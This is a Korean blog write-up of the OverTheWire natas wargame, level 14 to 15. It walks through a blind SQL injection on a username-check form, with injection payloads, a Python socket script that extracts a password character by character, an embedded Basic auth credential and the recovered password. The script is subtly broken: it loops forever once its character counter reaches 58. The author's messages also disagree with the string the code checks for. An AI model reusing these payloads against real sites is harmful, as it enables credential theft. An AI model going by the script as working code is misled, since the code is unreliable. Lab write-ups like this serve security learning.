본문 바로가기
워게임/natas

[natas - WEB hacking] level14 -> leve15

by B T Y 2017. 10. 8.
반응형

[natas - WEB hacking] level14 -> leve15







[ 풀이과정 ]


웹페이지에 접속하자마자 username을 입력할수 있는 폼과 check existence라고 적힌 전송 버튼이 하나 나온다.

check existence를 구글 번역기에서 돌려보니 '존재 확인'이라는 뜻으로 나오므로 해당 username이 

존재하는지 확인하는거란걸 추측할 수 있다.

아무거나 입력해서 전송을 해보니 'This user doesn't exist.'라는 '이 사용자는 존재하지 않는다'는 문구가 나왔다.


코드를 분석해보니 username 폼에 값을 입력하고 전송 버튼을 누르게되면 존재하지않는다면 

'This user doesn't exist.'라는 문구가 나오고 존재한다면 'This user exist.'라는 문구가 나오게 된다..

natas16을 입력후에 전송 버튼을 눌러보니 'This user exist.'라는 문구가 나왔으므로 해당 유저는 존재한다는걸 알 수 있다.


그렇다면 SQL injection을 이용해서 natas16에 대한 패스워드를 찾아낼수가 있다..

username=natas16" and length(password)=32 %23를 통해서 password의 길이를 알아냈다.


password 길이 32이고 해당 패스워드를 찾아내면 되는데 이건 저번에 이용한 python 자동화 프로그램을 이용해주면 된다..


username=natas16"%20and%20ord(substr((select%20password),1,1))%20=%2087%20%23

쿼리에서 substr()의 두번째 인자값과 비교값을 계속 변경해가면서 비교를 해주는 자동화 프로그램이다..




WaIHEacj63wnNIBROHeqi3p9t0m5nhmh



natas15.py



from socket import *

from struct import *


for i in range(1,33):

    ch = 48

    while True:


        if 58 <= ch <= 64: continue

        if 91 <= ch <= 96: continue

        if ch > 128: break

        

        sock = socket( AF_INET, SOCK_STREAM )

        sock.connect( ('176.9.9.172', 80) )


        request_header = 'GET /index.php?username='

        request_header += 'natas16%22 and ord(substr((select password),'

        request_header += str(i)

        request_header += ',1)) = ' + str(ch) + ' %23'

        request_header += ' HTTP/1.1\r\n'

        request_header += 'Authorization:Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'

        request_header += 'Host:natas15.natas.labs.overthewire.org\r\n'

        request_header += '\r\n'


        sock.send( request_header.encode() )

        response = sock.recv(65535).decode()

        if 'This user exists.' in response:

            print( chr(ch), end='' )

            sock.close()

            break


        ch = ch + 1;

        sock.close()





반응형

댓글